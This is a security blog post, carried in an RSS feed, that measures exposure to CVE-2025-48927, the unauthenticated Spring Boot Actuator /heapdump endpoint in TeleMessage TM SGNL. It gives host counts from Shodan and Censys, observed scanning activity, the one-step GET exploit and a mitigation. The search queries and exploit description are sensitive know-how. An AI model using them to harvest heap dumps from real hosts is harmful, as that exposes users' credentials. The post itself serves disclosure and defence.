<p>As of 2025-07-14 I was able to aggregate 334 IPs between <a href="https://www.shodan.io/search?query=application%2Fvnd.spring-boot.actuator.v3%2Bjson">Shodan</a> and <a href="https://search.censys.io/search?resource=hosts&amp;sort=RELEVANCE&amp;per_page=25&amp;virtual_hosts=EXCLUDE&amp;q=application%2Fvnd.spring-boot.actuator.v3%2Bjson">Censys</a> that were currently running Spring Boot Actuator. Of those, 217 were found to have the <code>/info</code> endpoint open, which does not bode well for whether or not they have <code>/heapdump</code> accessible.</p>
<p>Within the past 90 days, we’ve seen <a href="https://viz.greynoise.io/tags/spring-boot-actuator-scanner">2,006 IPs scanning for Spring Boot actuator endpoints in general</a>, <a href="https://viz.greynoise.io/tags/spring-boot-actuator-health-scanner">1,580 scanning for Spring Boot <code>/health</code> checks</a> (as indications of poor configuration), and are n<a href="https://viz.greynoise.io/tags/telemessage-tm-sgnl-spring-boot-actuator--heapdump-disclosure-cve-2025-48927-attempt?days=90">ow tracking checks for <code>/heapdump</code></a>.</p>
</section>
<section id="tldr" class="level3">
<h3 class="anchored" data-anchor-id="tldr"><strong>TL;DR</strong></h3>
<ul>
<li><strong>CVE-2025-48927</strong> is a critical vulnerability affecting TeleMessage TM SGNL, a Signal clone that archives all messages passing through it.<br>
</li>
<li>The vulnerability is rooted in the <strong>Spring Boot Actuator</strong> framework, which exposes the <code>/heapdump</code> endpoint publicly and without authentication by default.<br>
</li>
<li>Exploiting this flaw is trivial: an attacker can simply send a GET request to <code>/heapdump</code> and download a large file (~150MB) containing sensitive, plain-text data such as usernames and passwords.<br>
</li>
<li>The issue persisted in TeleMessage services up to May 5, 2025, but some sources claim the vulnerable default configuration was only present in software versions up to 1.5 from 2017.<br>
</li>
<li>The simplest mitigation is to <strong>block access to all Spring Boot endpoints except <code>/health</code> and <code>/info</code></strong>.<br>
</li>
<li>As of July 14, 2025:
<ul>
<li>334 IPs were identified as running Spring Boot Actuator [<a href="https://www.shodan.io/search?query=application%2Fvnd.spring-boot.actuator.v3%2Bjson">1</a>][<a href="https://search.censys.io/search?resource=hosts&amp;sort=RELEVANCE&amp;per_page=25&amp;virtual_hosts=EXCLUDE&amp;q=application%2Fvnd.spring-boot.actuator.v3%2Bjson">2</a>].<br>
</li>
<li>217 had the <code>/info</code> endpoint open, suggesting possible exposure of <code>/heapdump</code><br>
</li>
<li>In the past 90 days, <a href="https://viz.greynoise.io/tags/spring-boot-actuator-scanner">2,006 IP addresses</a> were observed scanning for Spring Boot Actuator endpoints, <a href="https://viz.greynoise.io/tags/spring-boot-actuator-health-scanner">with 1,580</a> targeting <code>/health</code>, and <a href="https://viz.greynoise.io/tags/telemessage-tm-sgnl-spring-boot-actuator--heapdump-disclosure-cve-2025-48927-attempt?days=90">active monitoring continues for <code>/heapdump</code> scans</a>. The vulnerability is deemed severe because of how easily it can be exploited and the sensitive data it exposes.</li>
</ul></li>
</ul>
<p>h0wdy’s socials: <a href="https://haunted.computer/@h0wdy">mastodon</a>, <a href="https://bsky.app/profile/h0wdy.bsky.social">bluesky</a></p>
</section>
<section id="references" class="level3">
<h3 class="anchored" data-anchor-id="references"><strong>References</strong></h3>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-48927#match-16819522">https://nvd.nist.gov/vuln/detail/CVE-2025-48927#match-16819522</a></p>
<p><a href="https://www.wired.com/story/how-the-signal-knock-off-app-telemessage-got-hacked-in-20-minutes/">https://www.wired.com/story/how-the-signal-knock-off-app-telemessage-got-hacked-in-20-minutes/</a></p>
<p><a href="https://www.wiz.io/blog/spring-boot-actuator-misconfigurations">https://www.wiz.io/blog/spring-boot-actuator-misconfigurations</a></p>
<p><a href="https://docs.spring.io/spring-boot/api/rest/actuator/heapdump.html">https://docs.spring.io/spring-boot/api/rest/actuator/heapdump.html</a></p>
<p><a href="https://viz.greynoise.io/tags/telemessage-tm-sgnl-spring-boot-actuator--heapdump-disclosure-cve-2025-48927-attempt?days=90">https://viz.greynoise.io/tags/telemessage-tm-sgnl-spring-boot-actuator–heapdump-disclosure-cve-2025-48927-attempt?days=90</a></p>


</section>

 ]]></description>
  <category>spring boot</category>
  <category>telemessage sgnl</category>
  <category>cve-2025-48927</category>
  <category>disclosure</category>
  <category>vulnerabilities</category>
  <category>cybersecurity</category>
  <guid>https://www.labs.greynoise.io/grimoire/2025-07-16-checking-the-scope-of-cve-2025-48927/</guid>
  <pubDate>Wed, 16 Jul 2025 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2025-07-16-checking-the-scope-of-cve-2025-48927/media/tm_sgnl_spring_boot.jpg" medium="image" type="image/jpeg"/>
</item>
</channel>
</rss>
